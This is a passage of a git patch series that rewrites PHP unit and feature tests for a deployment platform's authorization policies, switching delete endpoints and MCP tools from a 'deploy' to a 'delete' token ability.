it('allows team admin to manage environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(true); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->manageEnvironment($user, $envVar))->toBeTrue(); }); it('denies non-admin from managing environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(false); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->manageEnvironment($user, $envVar))->toBeFalse(); }); diff --git a/tests/Unit/Policies/ProjectPolicyTest.php b/tests/Unit/Policies/ProjectPolicyTest.php index 8b4a824f6a..6bc3471709 100644 --- a/tests/Unit/Policies/ProjectPolicyTest.php +++ b/tests/Unit/Policies/ProjectPolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any projects', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,38 +20,40 @@ it('allows any user to view any projects', function () { }); it('allows team member to view their own team project', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('canOpen')->with($user, $project)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); + $policy = new ProjectPolicy; expect($policy->view($user, $project))->toBeTrue(); }); it('denies non-member to view another team project', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 2; + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('canOpen')->with($user, $project)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); + $policy = new ProjectPolicy; expect($policy->view($user, $project))->toBeFalse(); }); it('allows admin to create a project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ProjectPolicy; expect($policy->create($user))->toBeTrue(); @@ -51,7 +61,13 @@ it('allows admin to create a project', function () { it('denies member to create a project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ProjectPolicy; expect($policy->create($user))->toBeFalse(); @@ -59,44 +75,44 @@ it('denies member to create a project', function () { it('allows team admin to update their own team project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $project)->andReturn(true); + $policy = new ProjectPolicy; expect($policy->update($user, $project))->toBeTrue(); }); it('denies team member to update their own team project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $project)->andReturn(false); + $policy = new ProjectPolicy; expect($policy->update($user, $project))->toBeFalse(); }); it('allows team admin to delete their own team project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $project)->andReturn(true); + $policy = new ProjectPolicy; expect($policy->delete($user, $project))->toBeTrue(); }); it('denies team member to delete their own team project', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $project = Mockery::mock(Project::class)->makePartial(); $project->team_id = 1; + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $project)->andReturn(false); + $policy = new ProjectPolicy; expect($policy->delete($user, $project))->toBeFalse(); }); diff --git a/tests/Unit/Policies/ResourceCreatePolicyTest.php b/tests/Unit/Policies/ResourceCreatePolicyTest.php index eb6fc513c4..51a400edc9 100644 --- a/tests/Unit/Policies/ResourceCreatePolicyTest.php +++ b/tests/Unit/Policies/ResourceCreatePolicyTest.php @@ -1,19 +1,39 @@ forgetInstance(AccessResolver::class); +}); it('allows admin to create any resource', function () { + $team = new Team; + $team->id = 1; $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ResourceCreatePolicy; expect($policy->createAny($user))->toBeTrue(); }); it('denies member from creating any resource', function () { + $team = new Team; + $team->id = 1; $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ResourceCreatePolicy; expect($policy->createAny($user))->toBeFalse(); diff --git a/tests/Unit/Policies/ServicePolicyTest.php b/tests/Unit/Policies/ServicePolicyTest.php index e9a0b4da0a..beb7ccff3b 100644 --- a/tests/Unit/Policies/ServicePolicyTest.php +++ b/tests/Unit/Policies/ServicePolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any services', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,53 +20,45 @@ it('allows any user to view any services', function () { }); it('allows team member to view their own team service', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->view($user, $service))->toBeTrue(); }); it('denies non-member to view another team service', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 2]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->view($user, $service))->toBeFalse(); }); it('denies view when service has no team', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $service = Mockery::mock(Service::class)->makePartial(); $service->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $service)->andReturn(false); + $policy = new ServicePolicy; expect($policy->view($user, $service))->toBeFalse(); }); it('allows admin to create a service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ServicePolicy; expect($policy->create($user))->toBeTrue(); @@ -66,7 +66,13 @@ it('allows admin to create a service', function () { it('denies member to create a service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new ServicePolicy; expect($policy->create($user))->toBeFalse(); @@ -74,10 +80,9 @@ it('denies member to create a service', function () { it('allows team admin to update their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->update($user, $service))->toBeTrue(); @@ -85,10 +90,9 @@ it('allows team admin to update their own team service', function () { it('denies team member to update their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->update($user, $service))->toBeFalse(); @@ -96,10 +100,9 @@ it('denies team member to update their own team service', function () { it('allows team admin to delete their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->delete($user, $service))->toBeTrue(); @@ -107,10 +110,9 @@ it('allows team admin to delete their own team service', function () { it('denies team member to delete their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->delete($user, $service))->toBeFalse(); @@ -122,16 +124,17 @@ it('denies delete when service has no team', function () { $service = Mockery::mock(Service::class)->makePartial(); $service->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $service)->andReturn(false); + $policy = new ServicePolicy; expect($policy->delete($user, $service))->toBeFalse(); }); it('allows team admin to deploy their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->deploy($user, $service))->toBeTrue(); @@ -139,10 +142,9 @@ it('allows team admin to deploy their own team service', function () { it('denies team member to deploy their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->deploy($user, $service))->toBeFalse(); @@ -150,10 +152,9 @@ it('denies team member to deploy their own team service', function () { it('allows team admin to stop their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->stop($user, $service))->toBeTrue(); @@ -161,10 +162,9 @@ it('allows team admin to stop their own team service', function () { it('denies team member to stop their own team service', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->stop($user, $service))->toBeFalse(); @@ -172,10 +172,9 @@ it('denies team member to stop their own team service', function () { it('allows team admin to manage service environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $service)->andReturn(true); $policy = new ServicePolicy; expect($policy->manageEnvironment($user, $service))->toBeTrue(); @@ -183,10 +182,9 @@ it('allows team admin to manage service environment variables', function () { it('denies team member to manage service environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $service = Mockery::mock(Service::class)->makePartial(); - $service->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $service)->andReturn(false); $policy = new ServicePolicy; expect($policy->manageEnvironment($user, $service))->toBeFalse(); diff --git a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php index d2a287a510..0d9b6c60f4 100644 --- a/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php +++ b/tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php @@ -1,8 +1,15 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any shared environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,29 +19,27 @@ it('allows any user to view any shared environment variables', function () { }); it('allows team member to view their team shared environment variable', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); $model = mockSharedEnvironmentVariable(teamId: 1); + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Read, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); + $policy = new SharedEnvironmentVariablePolicy; expect($policy->view($user, $model))->toBeTrue(); }); it('denies non-team member to view shared environment variable', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); $model = mockSharedEnvironmentVariable(teamId: 2); + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Read, 2)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); + $policy = new SharedEnvironmentVariablePolicy; expect($policy->view($user, $model))->toBeFalse(); }); From c467354d34a95e72f7392dc3dd3bc646852bb6f4 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 26 Oct 2026 12:55:24 +0100 Subject: [PATCH 08/10] test: use the delete ability in delete permission tests next requires the delete ability for delete endpoints and checks member token access in EnsureTokenBelongsToCurrentTeamMember. Update the tests from main to match. Co-Authored-By: Claude Opus 5.5 --- .../Api/DeleteResourceDeployAbilityTest.php | 20 +++++++++---------- tests/Feature/Api/ServerDeployAbilityTest.php | 12 +++++------ tests/Feature/Mcp/McpApplicationToolsTest.php | 18 ++++++++--------- tests/Feature/Mcp/McpDataToolsTest.php | 16 +++++++-------- tests/Feature/Mcp/McpOperationsToolsTest.php | 10 +++++----- tests/Feature/Mcp/McpServerToolsTest.php | 2 +- .../Security/ApiTokenCreationSecurityTest.php | 8 ++++---- 7 files changed, 43 insertions(+), 43 deletions(-) diff --git a/tests/Feature/Api/DeleteResourceDeployAbilityTest.php b/tests/Feature/Api/DeleteResourceDeployAbilityTest.php index b6f6bb4c52..c20f000afa 100644 --- a/tests/Feature/Api/DeleteResourceDeployAbilityTest.php +++ b/tests/Feature/Api/DeleteResourceDeployAbilityTest.php @@ -79,43 +79,43 @@ function deleteAbilityHeaders(User $user, int $teamId, array $abilities): array return ['Authorization' => 'Bearer '.$token->getKey().'|'.$plainTextToken]; } -test('write-only token cannot delete a resource', function (string $type) { +test('token without the delete permission cannot delete a resource', function (string $type) { $resource = $this->resources[$type]; - $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write'])) + $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) ->deleteJson("/api/v1/{$type}/{$resource->uuid}") ->assertForbidden() - ->assertJsonPath('message', 'Missing required permissions: deploy'); + ->assertJsonPath('message', 'Missing required permissions: delete'); expect($resource::query()->whereKey($resource->getKey())->exists())->toBeTrue(); Queue::assertNotPushed(DeleteResourceJob::class); })->with(['applications', 'services', 'databases']); -test('write and deploy token deletes a resource', function (string $type) { +test('token with the delete permission deletes a resource', function (string $type) { $resource = $this->resources[$type]; - $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) + $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['delete'])) ->deleteJson("/api/v1/{$type}/{$resource->uuid}") ->assertOk(); expect($resource::query()->whereKey($resource->getKey())->exists())->toBeFalse(); })->with(['applications', 'services', 'databases']); -test('write-only token cannot delete a preview deployment', function () { +test('token without the delete permission cannot delete a preview deployment', function () { $application = $this->resources['applications']; - $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write'])) + $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) ->deleteJson("/api/v1/applications/{$application->uuid}/previews/42") ->assertForbidden() - ->assertJsonPath('message', 'Missing required permissions: deploy'); + ->assertJsonPath('message', 'Missing required permissions: delete'); expect($this->preview->fresh()->trashed())->toBeFalse(); }); -test('write and deploy token deletes a preview deployment', function () { +test('token with the delete permission deletes a preview deployment', function () { $application = $this->resources['applications']; - $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) + $this->withHeaders(deleteAbilityHeaders($this->user, $this->team->id, ['delete'])) ->deleteJson("/api/v1/applications/{$application->uuid}/previews/42") ->assertOk(); diff --git a/tests/Feature/Api/ServerDeployAbilityTest.php b/tests/Feature/Api/ServerDeployAbilityTest.php index 041796f5f6..d73605003f 100644 --- a/tests/Feature/Api/ServerDeployAbilityTest.php +++ b/tests/Feature/Api/ServerDeployAbilityTest.php @@ -157,11 +157,11 @@ describe('validate with install', function () { }); describe('delete', function () { - test('write-only token cannot delete with force or delete_from_provider', function (string $query) { + test('token without the deploy permission cannot delete with force or delete_from_provider', function (string $query) { CloudProviderToken::factory()->create(['team_id' => $this->team->id, 'provider' => 'hetzner']); $this->server->update(['hetzner_server_id' => 123]); - $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['write'])) + $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['write', 'delete'])) ->deleteJson("/api/v1/servers/{$this->server->uuid}?{$query}") ->assertForbidden() ->assertJsonPath('message', 'Missing required permissions: deploy. Deleting the resources or the cloud server needs a token with the deploy permission.'); @@ -169,16 +169,16 @@ describe('delete', function () { expect(Server::query()->whereKey($this->server->id)->exists())->toBeTrue(); })->with(['force=true', 'delete_from_provider=true']); - test('write-only token can delete an empty server', function () { - $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['write'])) + test('delete token can delete an empty server', function () { + $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['delete'])) ->deleteJson("/api/v1/servers/{$this->server->uuid}") ->assertOk(); expect(Server::query()->whereKey($this->server->id)->exists())->toBeFalse(); }); - test('write and deploy token can delete with force', function () { - $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['write', 'deploy'])) + test('delete and deploy token can delete with force', function () { + $this->withHeaders(serverDeployAbilityHeaders($this->user, $this->team->id, ['delete', 'deploy'])) ->deleteJson("/api/v1/servers/{$this->server->uuid}?force=true") ->assertOk(); diff --git a/tests/Feature/Mcp/McpApplicationToolsTest.php b/tests/Feature/Mcp/McpApplicationToolsTest.php index 031cf39f9c..a68439172c 100644 --- a/tests/Feature/Mcp/McpApplicationToolsTest.php +++ b/tests/Feature/Mcp/McpApplicationToolsTest.php @@ -307,13 +307,13 @@ test('manage_application updates, clones and moves an application of the token t ->and($this->application->fresh()->environment_id)->toBe($target->id); }); -test('manage_application deletes an application only with confirm=true and a deploy token', function () { - $writeOnly = mcpAppCall(mcpAppToken($this->user), 'manage_application', ['action' => 'delete', 'uuid' => $this->application->uuid, 'confirm' => true]); +test('manage_application deletes an application only with confirm=true and a delete token', function () { + $writeOnly = mcpAppCall(mcpAppToken($this->user, ['write']), 'manage_application', ['action' => 'delete', 'uuid' => $this->application->uuid, 'confirm' => true]); expect(mcpAppIsError($writeOnly))->toBeTrue() - ->and(mcpAppText($writeOnly))->toContain('Missing required permissions: deploy') + ->and(mcpAppText($writeOnly))->toContain('Missing required permissions: delete') ->and(Application::find($this->application->id))->not->toBeNull(); - $token = mcpAppToken($this->user, ['write', 'deploy']); + $token = mcpAppToken($this->user, ['write', 'delete']); $denied = mcpAppCall($token, 'manage_application', ['action' => 'delete', 'uuid' => $this->application->uuid]); expect(mcpAppIsError($denied))->toBeTrue() @@ -411,7 +411,7 @@ test('manage_application rejects read-only and member tokens', function () { // manage_preview and get_application_preview test('manage_preview creates, updates and deletes a preview of the token team', function () { - $writeToken = mcpAppToken($this->user, ['write', 'delete']); + $writeToken = mcpAppToken($this->user, ['write']); $deployToken = mcpAppToken($this->user, ['deploy']); $writeOnly = mcpAppCall($writeToken, 'manage_preview', ['action' => 'create', 'uuid' => $this->application->uuid, 'data' => ['pull_request_id' => 7, 'git_type' => 'github', 'instant_deploy' => false]]); @@ -428,14 +428,14 @@ test('manage_preview creates, updates and deletes a preview of the token team', $writeOnlyDelete = mcpAppCall($writeToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7', 'confirm' => true]); expect(mcpAppIsError($writeOnlyDelete))->toBeTrue() - ->and(mcpAppText($writeOnlyDelete))->toContain('Missing required permissions: deploy'); + ->and(mcpAppText($writeOnlyDelete))->toContain('Missing required permissions: delete'); - $writeDeployToken = mcpAppToken($this->user, ['write', 'deploy']); - $denied = mcpAppCall($writeDeployToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7']); + $deleteToken = mcpAppToken($this->user, ['delete']); + $denied = mcpAppCall($deleteToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7']); expect(mcpAppIsError($denied))->toBeTrue() ->and(mcpAppText($denied))->toContain('confirm=true'); - $deleted = mcpAppCall($writeDeployToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7', 'confirm' => true]); + $deleted = mcpAppCall($deleteToken, 'manage_preview', ['action' => 'delete', 'uuid' => $this->application->uuid, 'pull_request_id' => '7', 'confirm' => true]); expect(mcpAppIsError($deleted))->toBeFalse(mcpAppText($deleted)) ->and(ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', 7)->exists())->toBeFalse(); }); diff --git a/tests/Feature/Mcp/McpDataToolsTest.php b/tests/Feature/Mcp/McpDataToolsTest.php index 3a584344c4..fd8736e85a 100644 --- a/tests/Feature/Mcp/McpDataToolsTest.php +++ b/tests/Feature/Mcp/McpDataToolsTest.php @@ -308,7 +308,7 @@ test('manage_database clones to an own destination and moves to an own environme test('manage_database destructive actions need confirm=true', function (string $action, array $data) { $own = $this->mine['database']; - $denied = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy']), 'manage_database', ['action' => $action, 'uuid' => $own->uuid, 'data' => $data]); + $denied = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy', 'delete']), 'manage_database', ['action' => $action, 'uuid' => $own->uuid, 'data' => $data]); expect(mcpDataIsError($denied))->toBeTrue() ->and(mcpDataText($denied))->toContain('confirm=true') @@ -324,12 +324,12 @@ test('manage_database destructive actions need confirm=true', function (string $ test('manage_database delete with confirm=true deletes an own database', function () { $own = $this->mine['database']; - $writeOnly = mcpDataCall(mcpDataToken($this->user), 'manage_database', ['action' => 'delete', 'uuid' => $own->uuid, 'confirm' => true]); + $writeOnly = mcpDataCall(mcpDataToken($this->user, ['write']), 'manage_database', ['action' => 'delete', 'uuid' => $own->uuid, 'confirm' => true]); expect(mcpDataIsError($writeOnly))->toBeTrue() - ->and(mcpDataText($writeOnly))->toContain('Missing required permissions: deploy') + ->and(mcpDataText($writeOnly))->toContain('Missing required permissions: delete') ->and(StandalonePostgresql::find($own->id))->not->toBeNull(); - $response = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy']), 'manage_database', ['action' => 'delete', 'uuid' => $own->uuid, 'confirm' => true]); + $response = mcpDataCall(mcpDataToken($this->user, ['delete']), 'manage_database', ['action' => 'delete', 'uuid' => $own->uuid, 'confirm' => true]); expect(mcpDataIsError($response))->toBeFalse() ->and(StandalonePostgresql::find($own->id))->toBeNull(); @@ -565,7 +565,7 @@ test('manage_service rejects a destination, environment, or S3 storage of anothe test('manage_service destructive actions need confirm=true', function (string $action) { $own = $this->mine; - $denied = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy']), 'manage_service', ['action' => $action, 'uuid' => $own['service']->uuid, 'database_uuid' => $own['service_db']->uuid, 'data' => ['destination_uuid' => 'x']]); + $denied = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy', 'delete']), 'manage_service', ['action' => $action, 'uuid' => $own['service']->uuid, 'database_uuid' => $own['service_db']->uuid, 'data' => ['destination_uuid' => 'x']]); expect(mcpDataIsError($denied))->toBeTrue() ->and(mcpDataText($denied))->toContain('confirm=true') @@ -573,12 +573,12 @@ test('manage_service destructive actions need confirm=true', function (string $a })->with(['delete', 'clone', 'move', 'import_database']); test('manage_service delete with confirm=true deletes an own service', function () { - $writeOnly = mcpDataCall(mcpDataToken($this->user), 'manage_service', ['action' => 'delete', 'uuid' => $this->mine['service']->uuid, 'confirm' => true]); + $writeOnly = mcpDataCall(mcpDataToken($this->user, ['write']), 'manage_service', ['action' => 'delete', 'uuid' => $this->mine['service']->uuid, 'confirm' => true]); expect(mcpDataIsError($writeOnly))->toBeTrue() - ->and(mcpDataText($writeOnly))->toContain('Missing required permissions: deploy') + ->and(mcpDataText($writeOnly))->toContain('Missing required permissions: delete') ->and(Service::find($this->mine['service']->id))->not->toBeNull(); - $response = mcpDataCall(mcpDataToken($this->user, ['write', 'deploy']), 'manage_service', ['action' => 'delete', 'uuid' => $this->mine['service']->uuid, 'confirm' => true]); + $response = mcpDataCall(mcpDataToken($this->user, ['delete']), 'manage_service', ['action' => 'delete', 'uuid' => $this->mine['service']->uuid, 'confirm' => true]); expect(mcpDataIsError($response))->toBeFalse() ->and(Service::find($this->mine['service']->id))->toBeNull(); diff --git a/tests/Feature/Mcp/McpOperationsToolsTest.php b/tests/Feature/Mcp/McpOperationsToolsTest.php index e3c0a9a3e3..604f8c8003 100644 --- a/tests/Feature/Mcp/McpOperationsToolsTest.php +++ b/tests/Feature/Mcp/McpOperationsToolsTest.php @@ -268,7 +268,7 @@ test('deploy by tag rejects read-only and member tokens', function () { // ---------------------------------------------------------------- manage_scheduled_task test('manage_scheduled_task creates, updates, executes, and deletes tasks of the token team', function (string $resource, string $key) { - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); $owner = $this->own[$key]; $created = mcpOpsCall($token, 'manage_scheduled_task', ['action' => 'create', 'resource' => $resource, 'uuid' => $owner->uuid, 'data' => ['name' => 'cleanup', 'command' => 'echo SECRETCMD', 'frequency' => 'daily']]); @@ -318,7 +318,7 @@ test('manage_scheduled_task cannot reach tasks or resources of another team', fu test('manage_scheduled_task needs confirm for delete and execute and rejects read-only tokens', function () { $task = ScheduledTask::factory()->create(['team_id' => $this->team->id, 'application_id' => $this->own['application']->id]); - $token = mcpOpsToken($this->user, ['read', 'write', 'deploy']); + $token = mcpOpsToken($this->user, ['read', 'write', 'deploy', 'delete']); foreach (['delete', 'execute'] as $action) { $response = mcpOpsCall($token, 'manage_scheduled_task', ['action' => $action, 'resource' => 'application', 'uuid' => $this->own['application']->uuid, 'task_uuid' => $task->uuid]); @@ -339,7 +339,7 @@ test('manage_scheduled_task 